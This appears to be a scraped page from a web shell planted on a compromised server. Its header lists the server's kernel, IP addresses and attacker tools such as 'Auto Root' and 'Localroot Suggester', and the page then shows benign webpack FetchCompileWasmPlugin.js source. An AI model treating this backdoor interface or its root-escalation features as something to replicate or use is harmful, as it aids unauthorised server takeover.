Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.73.229
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
webpack /
lib /
web /
Delete
Unzip
Name
Size
Permission
Date
Action
FetchCompileAsyncWasmPlugin.js
1.64
KB
-rw-rw-r--
2022-08-30 11:49
FetchCompileWasmPlugin.js
1.83
KB
-rw-rw-r--
2022-08-30 11:49
JsonpChunkLoadingPlugin.js
3.11
KB
-rw-rw-r--
2022-08-30 11:49
JsonpChunkLoadingRuntimeModule.js
15.49
KB
-rw-rw-r--
2022-08-30 11:49
JsonpTemplatePlugin.js
1.21
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const RuntimeGlobals = require("../RuntimeGlobals"); const WasmChunkLoadingRuntimeModule = require("../wasm-sync/WasmChunkLoadingRuntimeModule"); /** @typedef {import("../Compiler")} Compiler */ // TODO webpack 6 remove class FetchCompileWasmPlugin { constructor(options) { this.options = options || {}; } /** * Apply the plugin * @param {Compiler} compiler the compiler instance * @returns {void} */ apply(compiler) { compiler.hooks.thisCompilation.tap( "FetchCompileWasmPlugin", compilation => { const globalWasmLoading = compilation.outputOptions.wasmLoading; const isEnabledForChunk = chunk => { const options = chunk.getEntryOptions(); const wasmLoading = options && options.wasmLoading !== undefined ? options.wasmLoading : globalWasmLoading; return wasmLoading === "fetch"; }; const generateLoadBinaryCode = path => `fetch(${RuntimeGlobals.publicPath} + ${path})`; compilation.hooks.runtimeRequirementInTree .for(RuntimeGlobals.ensureChunkHandlers) .tap("FetchCompileWasmPlugin", (chunk, set) => { if (!isEnabledForChunk(chunk)) return; const chunkGraph = compilation.chunkGraph; if ( !chunkGraph.hasModuleInGraph( chunk, m => m.type === "webassembly/sync" ) ) { return; } set.add(RuntimeGlobals.moduleCache); set.add(RuntimeGlobals.publicPath); compilation.addRuntimeModule( chunk, new WasmChunkLoadingRuntimeModule({ generateLoadBinaryCode, supportsStreaming: true, mangleImports: this.options.mangleImports, runtimeRequirements: set }) ); }); } ); } } module.exports = FetchCompileWasmPlugin;